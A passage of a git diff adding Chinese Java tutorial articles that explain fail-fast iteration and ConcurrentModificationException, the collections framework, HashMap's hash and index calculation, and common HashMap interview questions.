+List list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("一个文章真特么有趣的程序员");
+
+for (String str : list) {
+ if ("沉默王二".equals(str)) {
+ list.remove(str);
+ }
+}
+
+System.out.println(list);
+```
+
+这段代码看起来没有任何问题,但运行起来就报错了。
+
+
+
+
+根据错误的堆栈信息,我们可以定位到 ArrayList 的第 901 行代码。
+
+```java
+final void checkForComodification() {
+ if (modCount != expectedModCount)
+ throw new ConcurrentModificationException();
+}
+```
+
+也就是说,remove 的时候触发执行了 `checkForComodification` 方法,该方法对 modCount 和 expectedModCount 进行了比较,发现两者不等,就抛出了 `ConcurrentModificationException` 异常。
+
+为什么会执行 `checkForComodification` 方法呢?
+
+是因为 for-each 本质上是个语法糖,底层是通过[迭代器 Iterator](戳链接🔗,详细了解下) 配合 while 循环实现的,来看一下反编译后的字节码。
+
+```java
+List list = new ArrayList();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("一个文章真特么有趣的程序员");
+Iterator var2 = list.iterator();
+
+while(var2.hasNext()) {
+ String str = (String)var2.next();
+ if ("沉默王二".equals(str)) {
+ list.remove(str);
+ }
+}
+
+System.out.println(list);
+```
+
+来看一下 ArrayList 的 iterator 方法吧:
+
+```java
+public Iterator iterator() {
+ return new Itr();
+}
+```
+
+内部类 Itr 实现了 Iterator 接口。
+
+```java
+private class Itr implements Iterator {
+ int cursor; // index of next element to return
+ int lastRet = -1; // index of last element returned; -1 if no such
+ int expectedModCount = modCount;
+
+ Itr() {}
+
+ public boolean hasNext() {
+ return cursor != size;
+ }
+
+ @SuppressWarnings("unchecked")
+ public E next() {
+ checkForComodification();
+ int i = cursor;
+ Object[] elementData = ArrayList.this.elementData;
+ if (i >= elementData.length)
+ throw new ConcurrentModificationException();
+ cursor = i + 1;
+ return (E) elementData[lastRet = i];
+ }
+}
+```
+
+也就是说 `new Itr()` 的时候 expectedModCount 被赋值为 modCount,而 modCount 是 List 的一个成员变量,表示集合被修改的次数。由于 list 此前执行了 3 次 add 方法。
+
+- add 方法调用 ensureCapacityInternal 方法
+- ensureCapacityInternal 方法调用 ensureExplicitCapacity 方法
+- ensureExplicitCapacity 方法中会执行 `modCount++`
+
+所以 modCount 的值在经过三次 add 后为 3,于是 `new Itr()` 后 expectedModCount 的值也为 3。
+
+执行第一次循环时,发现“沉默王二”等于 str,于是执行 `list.remove(str)`。
+
+- remove 方法调用 fastRemove 方法
+- fastRemove 方法中会执行 `modCount++`
+
+
+```java
+private void fastRemove(int index) {
+ modCount++;
+ int numMoved = size - index - 1;
+ if (numMoved > 0)
+ System.arraycopy(elementData, index+1, elementData, index,
+ numMoved);
+ elementData[--size] = null; // clear to let GC do its work
+}
+```
+
+modCount 的值变成了 4。
+
+执行第二次循环时,会执行 Itr 的 next 方法(`String str = (String) var3.next();`),next 方法就会调用 `checkForComodification` 方法,此时 expectedModCount 为 3,modCount 为 4,就只好抛出 ConcurrentModificationException 异常了。
+
+那其实在阿里巴巴的 Java 开发手册里也提到了,不要在 for-each 循环里进行元素的 remove/add 操作。remove 元素请使用 Iterator 方式。
+
+
+
+那原因其实就是我们上面分析的这些,出于 fail-fast 保护机制。
+
+**那该如何正确地删除元素呢**?
+
+**1)remove 后 break**
+
+```java
+List list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("一个文章真特么有趣的程序员");
+
+for (String str : list) {
+ if ("沉默王二".equals(str)) {
+ list.remove(str);
+ break;
+ }
+}
+```
+
+break 后循环就不再遍历了,意味着 Iterator 的 next 方法不再执行了,也就意味着 `checkForComodification` 方法不再执行了,所以异常也就不会抛出了。
+
+但是呢,当 List 中有重复元素要删除的时候,break 就不合适了。
+
+
+**2)for 循环**
+
+```java
+List list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("一个文章真特么有趣的程序员");
+for (int i = 0, n = list.size(); i < n; i++) {
+ String str = list.get(i);
+ if ("沉默王二".equals(str)) {
+ list.remove(str);
+ }
+}
+```
+
+for 循环虽然可以避开 fail-fast 保护机制,也就说 remove 元素后不再抛出异常;但是呢,这段程序在原则上是有问题的。为什么呢?
+
+第一次循环的时候,i 为 0,`list.size()` 为 3,当执行完 remove 方法后,i 为 1,`list.size()` 却变成了 2,因为 list 的大小在 remove 后发生了变化,也就意味着“沉默王三”这个元素被跳过了。能明白吗?
+
+remove 之前 `list.get(1)` 为“沉默王三”;但 remove 之后 `list.get(1)` 变成了“一个文章真特么有趣的程序员”,而 `list.get(0)` 变成了“沉默王三”。
+
+**3)使用 Iterator**
+
+```java
+List list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("一个文章真特么有趣的程序员");
+
+Iterator itr = list.iterator();
+
+while (itr.hasNext()) {
+ String str = itr.next();
+ if ("沉默王二".equals(str)) {
+ itr.remove();
+ }
+}
+```
+
+为什么使用 Iterator 的 remove 方法就可以避开 fail-fast 保护机制呢?看一下 remove 的源码就明白了。
+
+```java
+public void remove() {
+ if (lastRet < 0)
+ throw new IllegalStateException();
+ checkForComodification();
+
+ try {
+ ArrayList.this.remove(lastRet);
+ cursor = lastRet;
+ lastRet = -1;
+ expectedModCount = modCount;
+ } catch (IndexOutOfBoundsException ex) {
+ throw new ConcurrentModificationException();
+ }
+}
+```
+
+删除完会执行 `expectedModCount = modCount`,保证了 expectedModCount 与 modCount 的同步。
+
+-----
+
+简单地总结一下,fail-fast 是一种保护机制,可以通过 for-each 循环删除集合的元素的方式验证这种保护机制。
+
+那也就是说,for-each 本质上是一种语法糖,遍历集合时很方面,但并不适合拿来操作集合中的元素(增删)。
\ No newline at end of file
diff --git a/docs/collection/gailan.md b/docs/collection/gailan.md
new file mode 100644
index 0000000000..cdbaf91f76
--- /dev/null
+++ b/docs/collection/gailan.md
@@ -0,0 +1,196 @@
+
+眼瞅着三妹的王者荣耀杀得正嗨,我趁机喊到:“别打了,三妹,我们来一起学习 Java 的集合框架吧。”
+
+“才不要呢,等我打完这一局啊。”三妹倔强地说。
+
+“好吧。”我只好摊摊手地说,“那我先画张集合框架的结构图等着你。”
+
+
+
+
+“完了没?三妹。”
+
+“完了好一会儿了,二哥,你图画得真慢,让我瞧瞧怎么样?”
+
+“害,图要画得清晰明了,不容易的。三妹,你瞧,不错吧。”
+
+Java 集合框架可以分为两条大的支线:
+
+- Collection,主要由 List、Set、Queue 组成,List 代表有序、可重复的集合,典型代表就是封装了动态数组的 ArrayList 和封装了链表的 LinkedList;Set 代表无序、不可重复的集合,典型代表就是 HashSet 和 TreeSet;Queue 代表队列,典型代表就是双端队列 ArrayDeque,以及优先级队列 PriorityQue。
+- Map,代表键值对的集合,典型代表就是 HashMap。
+
+“接下来,我们再来过一遍。”
+
+### 01、List
+
+>List 的特点是存取有序,可以存放重复的元素,可以用下标对元素进行操作
+
+**1)ArrayList**
+
+- ArrayList 是由数组实现的,支持随机存取,也就是可以通过下标直接存取元素;
+- 从尾部插入和删除元素会比较快捷,从中间插入和删除元素会比较低效,因为涉及到数组元素的复制和移动;
+- 如果内部数组的容易不足时会自动扩容,因此当元素非常庞大的时候,效率会比较低。
+
+**2)LinkedList**
+
+- LinkedList 是由双向链表实现的,不支持随机存取,只能从一端开始遍历,直到找到需要的元素后返回;
+- 任意位置插入和删除元素都很方便,因为只需要改变前一个节点和后一个节点的引用即可,不像 ArrayList 那样需要复制和移动数组元素;
+- 因为每个元素都存储了前一个和后一个节点的引用,所以相对来说,占用的内存空间会比 ArrayList 多一些。
+
+**3)Vector 和 Stack**
+
+List 的实现类还有一个 Vector,是一个元老级的类,比 ArrayList 出现得更早。ArrayList 和 Vector 非常相似,只不过 Vector 是线程安全的,像 get、set、add 这些方法都加了 `synchronized` 关键字,就导致执行执行效率会比较低,所以现在已经很少用了。
+
+更好的选择是并发包下的 CopyOnWriteArrayList。
+
+Stack 是 Vector 的一个子类,本质上也是由动态数组实现的,只不过还实现了先进后出的功能(在 get、set、add 方法的基础上追加了 pop、peek 等方法),所以叫栈。
+
+不过,由于 Stack 执行效率比较低(方法上同样加了 synchronized 关键字),就被双端队列 ArrayDeque 取代了。
+
+### 02、Set
+
+> Set 的特点是存取无序,不可以存放重复的元素,不可以用下标对元素进行操作,和 List 有很多不同
+
+**1)HashSet**
+
+HashSet 其实是由 HashMap 实现的,只不过值由一个固定的 Object 对象填充,而键用于操作。
+
+```java
+public class HashSet
+ extends AbstractSet
+ implements Set, Cloneable, java.io.Serializable
+{
+ private transient HashMap map;
+
+ // Dummy value to associate with an Object in the backing Map
+ private static final Object PRESENT = new Object();
+
+ public HashSet() {
+ map = new HashMap<>();
+ }
+
+ public boolean add(E e) {
+ return map.put(e, PRESENT)==null;
+ }
+
+ public boolean remove(Object o) {
+ return map.remove(o)==PRESENT;
+ }
+}
+```
+
+**2)LinkedHashSet**
+
+LinkedHashSet 继承自 HashSet,其实是由 LinkedHashMap 实现的,LinkedHashSet 的构造方法调用了 HashSet 的一个特殊的构造方法:
+
+```java
+HashSet(int initialCapacity, float loadFactor, boolean dummy) {
+ map = new LinkedHashMap<>(initialCapacity, loadFactor);
+}
+```
+
+**3)TreeSet**
+
+“二哥,不用你讲了,我能猜到,TreeSet 是由 TreeMap 实现的,只不过同样操作的键位,值由一个固定的 Object 对象填充。”
+
+哇,三妹都学会了推理。
+
+“是的,总体上来说,Set 集合不是关注的重点,因为底层都是由 Map 实现的,为什么要用 Map 实现呢?三妹你能猜到原因吗?”
+
+“让我想想。”
+
+“嗯?难道是因为 Map 的键不允许重复、无序吗?”
+
+老天,竟然被三妹猜到了。
+
+“是的,你这水平长进了呀,三妹。”
+
+### 03、Queue
+
+> Queue,也就是队列,通常遵循先进先出(FIFO)的原则,新元素插入到队列的尾部,访问元素返回队列的头部。
+
+**1)ArrayDeque**
+
+从名字上可以看得出,ArrayDeque 是一个基于数组实现的双端队列,为了满足可以同时在数组两端插入或删除元素的需求,数组必须是循环的,也就是说数组的任何一点都可以被看作是起点或者终点。
+
+这是一个包含了 4 个元素的双端队列,和一个包含了 5 个元素的双端队列。
+
+
+
+head 指向队首的第一个有效的元素,tail 指向队尾第一个可以插入元素的空位,因为是循环数组,所以 head 不一定从是从 0 开始,tail 也不一定总是比 head 大。
+
+**2)LinkedList**
+
+LinkedList 一般都归在 List 下,只不过,它也实现了 Deque 接口,可以作为队列来使用。等于说,LinkedList 同时实现了 Stack、Queue、PriorityQueue 的所有功能。
+
+**3)PriorityQueue**
+
+PriorityQueue 是一种优先级队列,它的出队顺序与元素的优先级有关,执行 remove 或者 poll 方法,返回的总是优先级最高的元素。
+
+要想有优先级,元素就需要实现 Comparable 接口或者 Comparator 接口。
+
+### 04、Map
+
+> Map 保存的是键值对,键要求保持唯一性,值可以重复。
+
+**1)HashMap**
+
+HashMap 实现了 Map 接口,根据键的 HashCode 值来存储数据,具有很快的访问速度,最多允许一个 null 键。
+
+HashMap 不论是在学习还是工作当中,使用频率都是相当高的。随着 JDK 版本的不断更新,HashMap 的底层也优化了很多次,JDK 8 的时候引入了红黑树。
+
+```java
+final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
+ boolean evict) {
+ HashMap.Node[] tab; HashMap.Node p; int n, i;
+ if ((tab = table) == null || (n = tab.length) == 0)
+ n = (tab = resize()).length;
+ if ((p = tab[i = (n - 1) & hash]) == null)
+ tab[i] = newNode(hash, key, value, null);
+ else {
+ HashMap.Node e; K k;
+ if (p.hash == hash &&
+ ((k = p.key) == key || (key != null && key.equals(k))))
+ e = p;
+ else if (p instanceof HashMap.TreeNode)
+ e = ((HashMap.TreeNode)p).putTreeVal(this, tab, hash, key, value);
+ else {
+ for (int binCount = 0; ; ++binCount) {
+ if ((e = p.next) == null) {
+ p.next = newNode(hash, key, value, null);
+ if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
+ treeifyBin(tab, hash);
+ break;
+ }
+ if (e.hash == hash &&
+ ((k = e.key) == key || (key != null && key.equals(k))))
+ break;
+ p = e;
+ }
+ }
+ return null;
+}
+```
+
+一旦 HashMap 发生哈希冲突,就把相同键位的地方改成链表,如果链表的长度超过 8,就该用红黑树。
+
+**2)LinkedHashMap**
+
+大多数情况下,只要不涉及线程安全问题,Map基本都可以使用HashMap,不过HashMap有一个问题,就是迭代HashMap的顺序并不是HashMap放置的顺序,也就是无序。HashMap的这一缺点往往会带来困扰,因为有些场景,我们期待一个有序的Map。
+
+大多数情况下,只要不涉及到线程安全的问题,有需要键值对的时候就会使用 HashMap,但 HashMap 有一个问题,就是 HashMap 是无序的。在某些场景下,我们需要一个有序的 Map。
+
+于是 LinkedHashMap 就闪亮登场了。LinkedHashMap 是 HashMap 的子类,内部使用链表来记录插入/访问元素的顺序。
+
+LinkedHashMap 可以看作是 HashMap + LinkedList 的合体,它使用了 哈希表来存储数据,又用了双向链表来维持顺序。
+
+**3)TreeMap**
+
+HashMap 是无序的,所以遍历的时候元素的顺序也是不可测的。TreeMap 是有序的,它在内部会对键进行排序,所以遍历的时候就可以得到预期的顺序。
+
+为了保证顺序,TreeMap 的键必须要实现 Comparable 接口或者 Comparator 接口。
+
+“好了,三妹,整体上,集合框架就这么多东西了,随后我们会一一展开来讲,比如说 ArrayList、LinkedList、HashMap 等。”我伸了个懒腰后对三妹说。
+
+“好的,二哥。”三妹重新回答沙发上,一盘王者荣耀即将开始。
+
diff --git a/docs/collection/hash.md b/docs/collection/hash.md
new file mode 100644
index 0000000000..4499c8d068
--- /dev/null
+++ b/docs/collection/hash.md
@@ -0,0 +1,141 @@
+
+
+那天,小二去蔚来面试,面试官老王一上来就问他:HashMap 的 hash 方法的原理是什么?当时就把裸面的小二给蚌埠住了。
+
+回来后小二找到了我,于是我就写下了这篇文章丢给他,并严厉地告诉他:再搞不懂就别来找我。听到这句话,心头一阵酸,小二绷不住差点要哭 😭。
+
+---
+
+来看一下 hash 方法的源码(JDK 8 中的 HashMap):
+
+```java
+static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+这段代码究竟是用来干嘛的呢?
+
+我们都知道,`key.hashCode()` 是用来获取键位的哈希值的,理论上,哈希值是一个 int 类型,范围从-2147483648 到 2147483648。前后加起来大概 40 亿的映射空间,只要哈希值映射得比较均匀松散,一般是不会出现哈希碰撞的。
+
+但问题是一个 40 亿长度的数组,内存是放不下的。HashMap 扩容之前的数组初始大小只有 16,所以这个哈希值是不能直接拿来用的,用之前要和数组的长度做取模运算,用得到的余数来访问数组下标才行。
+
+取模运算有两处。
+
+> 取模运算(“Modulo Operation”)和取余运算(“Remainder Operation ”)两个概念有重叠的部分但又不完全一致。主要的区别在于对负整数进行除法运算时操作不同。取模主要是用于计算机术语中,取余则更多是数学概念。
+
+一处是往 HashMap 中 put 的时候(`putVal` 方法中):
+
+```java
+final V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) {
+ HashMap.Node[] tab; HashMap.Node p; int n, i;
+ if ((tab = table) == null || (n = tab.length) == 0)
+ n = (tab = resize()).length;
+ if ((p = tab[i = (n - 1) & hash]) == null)
+ tab[i] = newNode(hash, key, value, null);
+}
+```
+
+一处是从 HashMap 中 get 的时候(`getNode` 方法中):
+
+```java
+final Node getNode(int hash, Object key) {
+ Node[] tab; Node first, e; int n; K k;
+ if ((tab = table) != null && (n = tab.length) > 0 &&
+ (first = tab[(n - 1) & hash]) != null) {}
+}
+```
+
+其中的 `(n - 1) & hash` 正是取模运算,就是把哈希值和(数组长度-1)做了一个“与”运算。
+
+可能大家在疑惑:**取模运算难道不该用 `%` 吗?为什么要用 `&` 呢**?
+
+这是因为 `&` 运算比 `%` 更加高效,并且当 b 为 2 的 n 次方时,存在下面这样一个公式。
+
+> a % b = a & (b-1)
+
+用 $2^n$ 替换下 b 就是:
+
+>a % $2^n$ = a & ($2^n$-1)
+
+我们来验证一下,假如 a = 14,b = 8,也就是 $2^3$,n=3。
+
+14%8,14 的二进制为 1110,8 的二进制 1000,8-1 = 7 的二进制为 0111,1110&0111=0110,也就是 0`*`$2^0$+1`*`$2^1$+1`*`$2^2$+0`*`$2^3$=0+2+4+0=6,14%8 刚好也等于 6。
+
+这也正好解释了为什么 HashMap 的数组长度要取 2 的整次方。
+
+因为(数组长度-1)正好相当于一个“低位掩码”——这个掩码的低位最好全是 1,这样 & 操作才有意义,否则结果就肯定是 0,那么 & 操作就没有意义了。
+
+> a&b 操作的结果是:a、b 中对应位同时为 1,则对应结果位为 1,否则为 0
+
+2 的整次幂刚好是偶数,偶数-1 是奇数,奇数的二进制最后一位是 1,保证了 hash &(length-1) 的最后一位可能为 0,也可能为 1(这取决于 h 的值),即 & 运算后的结果可能为偶数,也可能为奇数,这样便可以保证哈希值的均匀性。
+
+& 操作的结果就是将哈希值的高位全部归零,只保留低位值,用来做数组下标访问。
+
+假设某哈希值为 `10100101 11000100 00100101`,用它来做取模运算,我们来看一下结果。HashMap 的初始长度为 16(内部是数组),16-1=15,二进制是 `00000000 00000000 00001111`(高位用 0 来补齐):
+
+```
+ 10100101 11000100 00100101
+& 00000000 00000000 00001111
+----------------------------------
+ 00000000 00000000 00000101
+```
+
+因为 15 的高位全部是 0,所以 & 运算后的高位结果肯定是 0,只剩下 4 个低位 `0101`,也就是十进制的 5,也就是将哈希值为 `10100101 11000100 00100101` 的键放在数组的第 5 位。
+
+明白了取模运算后,我们再来看 put 方法的源码:
+
+```java
+public V put(K key, V value) {
+ return putVal(hash(key), key, value, false, true);
+}
+```
+
+以及 get 方法的源码:
+
+```java
+public V get(Object key) {
+ HashMap.Node e;
+ return (e = getNode(hash(key), key)) == null ? null : e.value;
+}
+```
+
+它们在调用 putVal 和 getNode 之前,都会先调用 hash 方法:
+
+```java
+static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+那为什么取模运算之前要调用 hash 方法呢?
+
+看下面这个图。
+
+
+
+某哈希值为 `11111111 11111111 11110000 1110 1010`,将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 11111111 11111111`,再进行异或操作(h ^ (h >>> 16)),结果是 `11111111 11111111 00001111 00010101`
+
+> 异或(`^`)运算是基于二进制的位运算,采用符号 XOR 或者`^`来表示,运算规则是:如果是同值取 0、异值取 1
+
+由于混合了原来哈希值的高位和低位,所以低位的随机性加大了(掺杂了部分高位的特征,高位的信息也得到了保留)。
+
+结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000101`,也就是 5。
+
+还记得之前我们假设的某哈希值 `10100101 11000100 00100101` 吗?在没有调用 hash 方法之前,与 15 做取模运算后的结果也是 5,我们不妨来看看调用 hash 之后的取模运算结果是多少。
+
+某哈希值 `00000000 10100101 11000100 00100101`(补齐 32 位),将它右移 16 位(h >>> 16),刚好是 `00000000 00000000 00000000 10100101`,再进行异或操作(h ^ (h >>> 16)),结果是 `00000000 10100101 00111011 10000000`
+
+结果再与数组长度-1(`00000000 00000000 00000000 00001111`)做取模运算,得到的下标就是 `00000000 00000000 00000000 00000000`,也就是 0。
+
+综上所述,hash 方法是用来做哈希值优化的,把哈希值右移 16 位,也就正好是自己长度的一半,之后与原哈希值做异或运算,这样就混合了原哈希值中的高位和低位,增大了随机性。
+
+说白了,**hash 方法就是为了增加随机性,让数据元素更加均衡的分布,减少碰撞**。
+
+参考链接:
+
+> https://blog.csdn.net/lonyw/article/details/80519652
+>https://zhuanlan.zhihu.com/p/91636401
+>https://www.zhihu.com/question/20733617
\ No newline at end of file
diff --git a/docs/collection/hashmap-interview.md b/docs/collection/hashmap-interview.md
new file mode 100644
index 0000000000..fc05c30d52
--- /dev/null
+++ b/docs/collection/hashmap-interview.md
@@ -0,0 +1,193 @@
+
+
+对于 Java 求职者来说,HashMap 可谓是重中之重,是面试的必考点。然而 HashMap 的知识点非常多,复习起来花费精力很大。
+
+为了减轻大家在面试时的痛苦,二哥将读者库森的这篇 HashMap 的面试专题文章整理出来分享给大家,希望对小伙伴们有所帮助!
+
+>链接:https://zhuanlan.zhihu.com/p/362214327
+
+### 01、HashMap的底层数据结构是什么?
+
+JDK 7 中,HashMap 由“数组+链表”组成,数组是 HashMap 的主体,链表则是主要为了解决哈希冲突而存在的。
+
+在 JDK 8 中,HashMap 由“数组+链表+红黑树”组成。链表过长,会严重影响 HashMap 的性能,而红黑树搜索的时间复杂度是 O(logn),而链表是糟糕的 O(n)。因此,JDK 8 对数据结构做了进一步的优化,引入了红黑树,链表和红黑树在达到一定条件会进行转换:
+
+- 当链表超过 8 且数据总量超过 64 时会转红黑树。
+- 将链表转换成红黑树前会判断,如果当前数组的长度小于 64,那么会选择先进行数组扩容,而不是转换为红黑树,以减少搜索时间。
+
+链表长度超过 8 体现在 putVal 方法中的这段代码:
+
+```java
+//链表长度大于8转换为红黑树进行处理
+if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
+ treeifyBin(tab, hash);
+```
+
+ table 长度为 64 体现在 treeifyBin 方法中的这段代码::
+
+```java
+final void treeifyBin(Node[] tab, int hash) {
+ int n, index; Node e;
+ if (tab == null || (n = tab.length) < MIN_TREEIFY_CAPACITY)
+ resize();
+}
+```
+
+MIN_TREEIFY_CAPACITY 的值正好为 64。
+
+```java
+static final int MIN_TREEIFY_CAPACITY = 64;
+```
+
+JDK 8 中 HashMap 的结构示意图:
+
+
+
+
+### 02、为什么链表改为红黑树的阈值是 8?
+
+因为泊松分布,我们来看作者在源码中的注释:
+
+>Because TreeNodes are about twice the size of regular nodes, we
+ use them only when bins contain enough nodes to warrant use
+ (see TREEIFY_THRESHOLD). And when they become too small (due to
+ removal or resizing) they are converted back to plain bins. In
+ usages with well-distributed user hashCodes, tree bins are
+ rarely used. Ideally, under random hashCodes, the frequency of
+ nodes in bins follows a Poisson distribution
+ (http://en.wikipedia.org/wiki/Poisson_distribution) with a
+ parameter of about 0.5 on average for the default resizing
+ threshold of 0.75, although with a large variance because of
+ resizing granularity. Ignoring variance, the expected
+ occurrences of list size k are (exp(-0.5) pow(0.5, k) /
+ factorial(k)). The first values are:
+ 0: 0.60653066
+ 1: 0.30326533
+ 2: 0.07581633
+ 3: 0.01263606
+ 4: 0.00157952
+ 5: 0.00015795
+ 6: 0.00001316
+ 7: 0.00000094
+ 8: 0.00000006
+ more: less than 1 in ten million
+
+翻译过来大概的意思是:理想情况下使用随机的哈希码,容器中节点分布在 hash 桶中的频率遵循泊松分布,按照泊松分布的计算公式计算出了桶中元素个数和概率的对照表,可以看到链表中元素个数为 8 时的概率已经非常小,再多的就更少了,所以原作者在选择链表元素个数时选择了 8,是根据概率统计而选择的。
+
+### 03、解决hash冲突的办法有哪些?HashMap用的哪种?
+
+解决Hash冲突方法有:
+
+- 开放定址法:也称为再散列法,基本思想就是,如果p=H(key)出现冲突时,则以p为基础,再次hash,p1=H(p),如果p1再次出现冲突,则以p1为基础,以此类推,直到找到一个不冲突的哈希地址pi。因此开放定址法所需要的hash表的长度要大于等于所需要存放的元素,而且因为存在再次hash,所以只能在删除的节点上做标记,而不能真正删除节点。
+- 再哈希法:双重散列,多重散列,提供多个不同的hash函数,当R1=H1(key1)发生冲突时,再计算R2=H2(key1),直到没有冲突为止。这样做虽然不易产生堆集,但增加了计算的时间。
+- 链地址法:拉链法,将哈希值相同的元素构成一个同义词的单链表,并将单链表的头指针存放在哈希表的第i个单元中,查找、插入和删除主要在同义词链表中进行。链表法适用于经常进行插入和删除的情况。
+- 建立公共溢出区:将哈希表分为公共表和溢出表,当溢出发生时,将所有溢出数据统一放到溢出区。
+
+HashMap中采用的是链地址法 。
+
+### 04、为什么在解决 hash 冲突的时候,不直接用红黑树?而选择先用链表,再转红黑树?
+
+因为红黑树需要进行左旋,右旋,变色这些操作来保持平衡,而单链表不需要。
+
+当元素小于 8 个的时候,此时做查询操作,链表结构已经能保证查询性能。当元素大于 8 个的时候, 红黑树搜索时间复杂度是 O(logn),而链表是 O(n),此时需要红黑树来加快查询速度,但是新增节点的效率变慢了。
+
+因此,如果一开始就用红黑树结构,元素太少,新增效率又比较慢,无疑这是浪费性能的。
+
+### 05、HashMap默认加载因子是多少?为什么是 0.75,不是 0.6 或者 0.8 ?
+
+作为一般规则,默认负载因子(0.75)在时间和空间成本上提供了很好的折衷。
+
+[详情参照这篇](https://mp.weixin.qq.com/s/a3qfatEWizKK1CpYaxVBbA)
+
+### 06、HashMap 中 key 的存储索引是怎么计算的?
+
+首先根据key的值计算出hashcode的值,然后根据hashcode计算出hash值,最后通过hash&(length-1)计算得到存储的位置。
+
+
+[详情参照这篇](https://mp.weixin.qq.com/s/aS2dg4Dj1Efwujmv-6YTBg)
+
+### 07、JDK 8 为什么要 hashcode 异或其右移十六位的值?
+
+因为在JDK 7 中扰动了 4 次,计算 hash 值的性能会稍差一点点。
+
+从速度、功效、质量来考虑,JDK 8 优化了高位运算的算法,通过hashCode()的高16位异或低16位实现:`(h = k.hashCode()) ^ (h >>> 16)`。
+
+这么做可以在数组 table 的 length 比较小的时候,也能保证考虑到高低Bit都参与到Hash的计算中,同时不会有太大的开销。
+
+### 08、为什么 hash 值要与length-1相与?
+
+- 把 hash 值对数组长度取模运算,模运算的消耗很大,没有位运算快。
+- 当 length 总是 2 的n次方时,`h& (length-1) `运算等价于对length取模,也就是 h%length,但是 & 比 % 具有更高的效率。
+
+### 09、HashMap数组的长度为什么是 2 的幂次方?
+
+2 的 N 次幂有助于减少碰撞的几率。如果 length 为2的幂次方,则 length-1 转化为二进制必定是11111……的形式,在与h的二进制与操作效率会非常的快,而且空间不浪费。我们来举个例子,看下图:
+
+
+
+
+当 length =15时,6 和 7 的结果一样,这样表示他们在 table 存储的位置是相同的,也就是产生了碰撞,6、7就会在一个位置形成链表,4和5的结果也是一样,这样就会导致查询速度降低。
+
+如果我们进一步分析,还会发现空间浪费非常大,以 length=15 为例,在 1、3、5、7、9、11、13、15 这八处没有存放数据。因为hash值在与14(即 1110)进行&运算时,得到的结果最后一位永远都是0,即 0001、0011、0101、0111、1001、1011、1101、1111位置处是不可能存储数据的。
+
+**再补充数组容量计算的小奥秘。**
+
+HashMap 构造函数允许用户传入的容量不是 2 的 n 次方,因为它可以自动地将传入的容量转换为 2 的 n 次方。会取大于或等于这个数的 且最近的2次幂作为 table 数组的初始容量,使用tableSizeFor(int)方法,如 tableSizeFor(10) = 16(2 的 4 次幂),tableSizeFor(20) = 32(2 的 5 次幂),也就是说 table 数组的长度总是 2 的次幂。JDK 8 源码如下:
+
+```java
+static final int tableSizeFor(int cap) {
+ int n = cap - 1;
+ n |= n >>> 1;
+ n |= n >>> 2;
+ n |= n >>> 4;
+ n |= n >>> 8;
+ n |= n >>> 16;
+ return (n < 0) ? 1 : (n >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : n + 1;
+ }
+```
+
+让cap-1再赋值给n的目的是另找到的目标值大于或等于原值。例如二进制1000,十进制数值为8。如果不对它减1而直接操作,将得到答案10000,即16。显然不是结果。减1后二进制为111,再进行操作则会得到原来的数值1000,即8。
+
+### 10、HashMap 的put方法流程?
+
+以JDK 8为例,简要流程如下:
+
+1、首先根据 key 的值计算 hash 值,找到该元素在数组中存储的下标;
+
+2、如果数组是空的,则调用 resize 进行初始化;
+
+3、如果没有哈希冲突直接放在对应的数组下标里;
+
+4、如果冲突了,且 key 已经存在,就覆盖掉 value;
+
+5、如果冲突后,发现该节点是红黑树,就将这个节点挂在树上;
+
+6、如果冲突后是链表,判断该链表是否大于 8 ,如果大于 8 并且数组容量小于 64,就进行扩容;如果链表节点大于 8 并且数组的容量大于 64,则将这个结构转换为红黑树;否则,链表插入键值对,若 key 存在,就覆盖掉 value。
+
+
+
+### 11、HashMap 的扩容方式?
+
+HashMap 在容量超过负载因子所定义的容量之后,就会扩容。
+
+[详情参照这篇](https://mp.weixin.qq.com/s/0KSpdBJMfXSVH63XadVdmw)
+
+### 12、一般用什么作为HashMap的key?
+
+一般用Integer、String 这种不可变类当作 HashMap 的 key,String 最为常见。
+
+- 因为字符串是不可变的,所以在它创建的时候 hashcode 就被缓存了,不需要重新计算。
+- 因为获取对象的时候要用到 equals() 和 hashCode() 方法,那么键对象正确的重写这两个方法是非常重要的。Integer、String 这些类已经很规范的重写了 hashCode() 以及 equals() 方法。
+
+### 13、HashMap为什么线程不安全?
+
+- JDK 7 时多线程下扩容会造成死循环。
+- 多线程的put可能导致元素的丢失。
+- put和get并发时,可能导致get为null。
+
+[详情参照这篇](https://mp.weixin.qq.com/s/qk_neCdzM3aB6pVWVTHhNw)
+
+
+
+
+
diff --git a/docs/collection/hashmap-loadfactor.md b/docs/collection/hashmap-loadfactor.md
new file mode 100644
index 0000000000..8b7b158060
--- /dev/null
+++ b/docs/collection/hashmap-loadfactor.md
@@ -0,0 +1,184 @@
+
+
+**Warning**:这是《Java 程序员进阶之路》专栏的第 57 篇,我们来聊聊 HashMap的加载因子,为什么必须是0.75,而不是0.8,0.6。
+
+本文 GitHub 上已同步,有 GitHub 账号的小伙伴,记得给二哥安排一波 star 呀!冲 GitHub 的 trending 榜单,求求各位了。
+
+>GitHub 地址:https://github.com/itwanger/toBeBetterJavaer
+>在线阅读地址:https://itwanger.gitee.io/tobebetterjavaer
+
+-------
+
+JDK 8 中的 HashMap 是用数组+链表+红黑树实现的,我们要想往 HashMap 中放数据或者取数据,就需要确定数据在数组中的下标。
+
+先把数据的键进行一次 hash:
+
+```java
+static final int hash(Object key) {
+ int h;
+ return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
+}
+```
+
+再做一次取模运算确定下标:
+
+```
+i = (n - 1) & hash
+```
+
+哈希表这样的数据结构容易产生两个问题:
+
